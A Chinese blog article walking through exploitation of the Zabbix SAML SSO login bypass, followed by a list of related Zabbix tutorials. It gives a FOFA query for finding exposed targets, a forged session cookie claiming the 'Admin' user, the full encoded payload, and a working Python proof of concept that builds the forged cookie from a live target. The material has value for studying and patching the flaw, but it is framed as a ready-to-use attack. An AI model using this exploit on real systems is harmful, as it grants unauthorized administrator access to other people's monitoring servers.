Zabbix SAML SSO 登录绕过漏洞的操作流程

 更新时间:2022年03月02日 14:54:17   作者:Adminxe  
这篇文章主要介绍了Zabbix SAML SSO 登录绕过漏洞的操作方法,该漏洞源于在启用 saml SSO 身份验证(非默认)的情况下,未身份验证的攻击者可以修改会话数据,成功绕过前台进入后台,因为存储在会话中的用户登录未经过验证,具体实现流程跟随小编一起看看吧

一、简介

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台上。

该漏洞源于在启用 saml SSO 身份验证(非默认)的情况下,未身份验证的攻击者可以修改会话数据,成功绕过前台进入后台,因为存储在会话中的用户登录未经过验证。

漏洞的限制条件:需要启用 SAML 身份验证,并且攻击者必须知道 Zabbix 用户的用户名。

二、FOFA语法

app=“ZABBIX-监控系统” && body=“SAML”

三、复现流程

1、通过fofa语法搜索zabbix资产访问首页获取set-cookie中zbx_session参数的值

2、通过Url解码和Base64解码获得zbx_session参数Json格式数据

{"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="}

3、通过在Json中添加saml_data和username_attribute参数后重新Base64编码和Url编码构造Payload

{"saml_data":{"username_attribute":"Admin"},"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="}

4、把构造好的payload进行base64编码和url编码

%65%79%4a%7a%59%57%31%73%58%32%52%68%64%47%45%69%4f%6e%73%69%64%58%4e%6c%63%6d%35%68%62%57%56%66%59%58%52%30%63%6d%6c%69%64%58%52%6c%49%6a%6f%69%51%57%52%74%61%57%34%69%66%53%77%69%63%32%56%7a%63%32%6c%76%62%6d%6c%6b%49%6a%6f%69%4e%6a%64%6d%4e%7a%45%7a%4e%54%56%6c%59%6a%6b%32%4d%54%49%78%5a%6a%4d%34%4e%47%56%68%4d%44%55%33%4d%54%49%35%4d%47%5a%68%59%32%45%69%4c%43%4a%7a%61%57%64%75%49%6a%6f%69%56%58%6c%78%4d%6b%4a%59%55%57%5a%6c%4e%55%6c%31%5a%7a%52%56%51%6e%42%31%59%33%64%78%4d%31%42%59%51%57%31%57%61%44%42%6a%64%48%42%53%4e%48%42%32%52%57%5a%36%5a%31%77%76%54%31%64%6c%4e%31%52%4c%61%47%31%42%55%57%52%78%65%58%55%31%61%56%56%74%64%46%64%36%55%56%49%72%4d%47%30%7a%4d%32%56%52%51%6b%68%75%61%7a%46%57%56%69%74%4a%54%7a%42%70%59%30%46%52%50%54%30%69%66%51%3d%3d

5、请求index_sso.php,在http请求头中构造payload,将zbx_session的值替换为url编码后的payload

6、成功登录后台

可利用poc直接获取构造后的payload

poc:

import requests
import re
import urllib.parse
import base64
import json
import sys
 
def exp(target, username):
	resp = requests.get(url=target, verify=False)
	cookie = resp.headers.get("Set-Cookie")
	zbx_session = re.findall(r"zbx_session=(.*?); ", cookie)
	url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8')
	base64_decode_data = base64.b64decode(url_decode_data)
	decode_to_str = str(base64_decode_data, encoding='utf-8')
	to_json = json.loads(decode_to_str)
	tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"])
	payloadJson = json.dumps(tmp_ojb)
	print("decode_payload:", payloadJson)
	payload = urllib.parse.quote(base64.b64encode(payloadJson.encode()))
	print("zbx_signed_session:", payload)
if __name__ == "__main__":
	if len(sys.argv) != 3:
		print("argv error")
		exit(0)
	target = sys.argv[1]
	username = sys.argv[2]
	exp(target, username)

到此这篇关于Zabbix SAML SSO 登录绕过漏洞的文章就介绍到这了,更多相关Zabbix 登录绕过漏洞内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • Zabbix 结合 bat 脚本实现多个应用程序状态监控的方法

    Zabbix 结合 bat 脚本实现多个应用程序状态监控的方法

    这篇文章主要介绍了Zabbix 结合 bat 脚本实现多个应用程序状态监控,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2021-02-02
  • Zabbix配置WEB监控详细图文教程

    Zabbix配置WEB监控详细图文教程

    zabbix是基于web界面的开源分布式监控平台,可以监控各种服务器的配置参数,支持自定义配置和自定义告警,并且可以实现邮件、短信等方式的告警,这篇文章主要给大家介绍了关于Zabbix配置WEB监控的相关资料,需要的朋友可以参考下
    2024-07-07
  • zabbix通过percona插件监控mysql的方法

    zabbix通过percona插件监控mysql的方法

    这篇文章主要介绍了zabbix通过percona插件监控mysql的方法步骤详解,本文通过实例代码给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下
    2018-06-06
  • zabbix在web页面显示中文乱码问题解决办法

    zabbix在web页面显示中文乱码问题解决办法

    这篇文章主要给大家介绍了关于zabbix在web页面显示中文乱码问题的解决办法,最近发现zabbix在使用中会发现中文栏目显示乱码,所以这里将解决办法分享下,需要的朋友可以参考下
    2023-07-07
  • 解析Zabbix 5.0磁盘自动发现和读写监控的问题

    解析Zabbix 5.0磁盘自动发现和读写监控的问题

    本文文章给大家介绍Zabbix 5.0磁盘自动发现和读写监控的问题,在配置键值得时候大家要主要此键值支持Linux平台,具体细节问题跟随小编一起通过本文学习下吧
    2021-05-05
  • zabbix如何添加监控主机和自定义监控项

    zabbix如何添加监控主机和自定义监控项

    这篇文章主要介绍了zabbix添加监控主机和自定义监控项的方法,添加自定义监控项此处以监控当前系统的用户个数为例子,通过脚本命令给大家详细讲解,需要的朋友可以参考下
    2022-08-08
  • Zabbix对Kafka topic积压数据监控的问题(bug优化)

    Zabbix对Kafka topic积压数据监控的问题(bug优化)

    这篇文章主要介绍了Zabbix对Kafka topic积压数据监控,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2022-07-07
  • centos7安装zabbix 5.0的详细过程

    centos7安装zabbix 5.0的详细过程

    这篇文章主要介绍了centos7安装zabbix 5.0,本文中zabbix使用的是zabbix 5 + postgresql + nginx的组合,结合实例代码给大家介绍的非常详细,需要的朋友可以参考下
    2023-03-03
  • zabbix6.0LTS 配置proxy分布式监控的过程详解

    zabbix6.0LTS 配置proxy分布式监控的过程详解

    zabbix_proxy必须要安装一个数据库.zabbix官网推荐使用mariadb数据库,本人尝试过使用mysql8.0,这篇文章主要介绍了zabbix6.0LTS 配置proxy分布式监控,需要的朋友可以参考下
    2023-07-07
  • 详解如何调用zabbix API获取主机

    详解如何调用zabbix API获取主机

    Zabbix API开始扮演着越来越重要的角色,尤其是在集成第三方软件和自动化日常任务时。很难想象管理数千台服务器而没有自动化是多么的困难。Zabbix API为批量操作、第三方软件集成以及其他作用提供可编程接口。这篇文章主要介绍了如何调用zabbix API获取主机。
    2017-01-01

最新评论